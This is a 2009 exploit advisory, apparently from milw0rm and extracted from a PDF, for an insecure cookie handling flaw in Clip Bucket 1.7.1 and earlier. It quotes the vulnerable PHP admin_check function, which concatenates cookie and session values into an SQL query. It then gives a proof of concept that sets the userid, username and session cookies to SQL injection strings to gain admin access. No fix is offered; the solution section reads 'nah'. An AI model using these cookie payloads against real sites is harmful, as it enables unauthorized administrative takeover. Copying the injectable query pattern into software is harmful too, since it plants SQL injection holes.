Clip Bucket 1.7.1 Insecure Cookie Handling Vulnerability.pdf

About Global Documents

Global Documents provides you with documents from around the globe on a variety of topics for your enjoyment.
Global Documents utilizes edocr for all its document needs due to edocr's wonderful content features. Thousands of professionals and businesses around the globe publish marketing, sales, operations, customer service and financial documents making it easier for prospects and customers to find content.
QQQQ Clip Bucket Insecure Cookie Handling QQQQ QQQQ Cookie Handling Vulnerability Handling Vulnerability Qabandi http Clip Bucket userid session
1                                             ||          ||   | ||
2                                      o_,_7 _||  . _o_7 _|| q_|_||  o_\\\_,
3                                     (  :  /    (_)    /           (      .
4
5                                              ___________________
6                                            _/QQQQQQQQQQQQQQQQQQQ\__
7                                         __/QQQ/‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘\QQQ\___
8                                       _/QQQQQ/                  \QQQQQQ\
9                                      /QQQQ/‘‘                    ‘‘‘QQQQ\
10                                     /QQQQ/                          \QQQQ\
11                                    |QQQQ/    By  Qabandi             \QQQQ|
12                                    |QQQQ|                            |QQQQ|
13                                    |QQQQ|    From Kuwait, PEACE...   |QQQQ|
14                                    |QQQQ|                            |QQQQ|
15                                    |QQQQ\       iqa[a]hotmail.fr     /QQQQ|
16                                     \QQQQ\                      __  /QQQQ/
17                                      \QQQQ\                    /QQ\_QQQQ/
18                                       \QQQQ\                   \QQQQQQQ/
19                                        \QQQQQ\                 /QQQQQ/_
20                                         ‘‘\QQQQQ\_____________/QQQ/\QQQQ\_
21                                            ‘‘\QQQQQQQQQQQQQQQQQQQ/  ‘\QQQQ\
22                                               ‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘     ‘‘‘‘‘
23
24 =Vuln:
Clip Bucket <= 1.7.1 Insecure Cookie Handling
25 =INFO:
http://clip−bucket.com/
26 =BUY:  
−−−
27 =Download:      http://clip−bucket.com/download
28 =DORK:   :) 
29
30                                   ____________
31                               _−=/:Conditions:\=−_
32 ‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
33
34 Magic_quotes MUST BE OFF
35
36 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−===−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
37
38                                 _________________
39                             _−=/:Vulnerable_Code:\=−_
40 ‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
41 // in "\includes\classes\user.class.php"
42
43
function admin_check(){
44
$admin = ’Admin’;
45         if(isset($_COOKIE[’userid’]) && isset($_COOKIE[’username’]) && isset($_COOKIE[’session’]))
46         {
47
$userid = @$_SESSION[’userid’];
48
$username = @$_SESSION[’username’];
49
$session = @$_COOKIE[’PHPSESSID’];
50
51
$query = mysql_query("SELECT * FROM users WHERE level=’".$admin."’ AND userna
me =’".$username."’ AND userid = ’".$userid."’ AND session=’".$session."’");
Page 1/2
Clip Bucket 1.7.1 Insecure Cookie Handling Vulnerability
Qabandi
07/24/2009
52
if(mysql_num_rows($query)>0){
53
$answer = 1;
54                     return $answer;
55
}else{
56
$answer = 0;
57                     return $answer;
58
}
59         }
60
}
61
62 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−===−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
63
64                                      _______
65                                  _−=/:P.o.C:\=−_
66 ‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
67 Set Cookies:
68
69 userid=q’ or 1=’1
70 username=q’ or 1=’1
71 session=q’ or 1=’1
72
73
74 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−===−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
75
76                                     __________
77                                 _−=/:SOLUTION:\=−_
78 ‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
79 nah
80
81 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−===−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
82  ______________________________________________________________________________
83 /                                                                              \
84 |      −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−  |
85 \______________________________________________________________________________/
86                                 \ No More Private /
87                                  ‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
88                            Salamz to All Muslim Hackers.
89
90 # milw0rm.com [2009−07−24]
Page 2/2
Clip Bucket 1.7.1 Insecure Cookie Handling Vulnerability
Qabandi
07/24/2009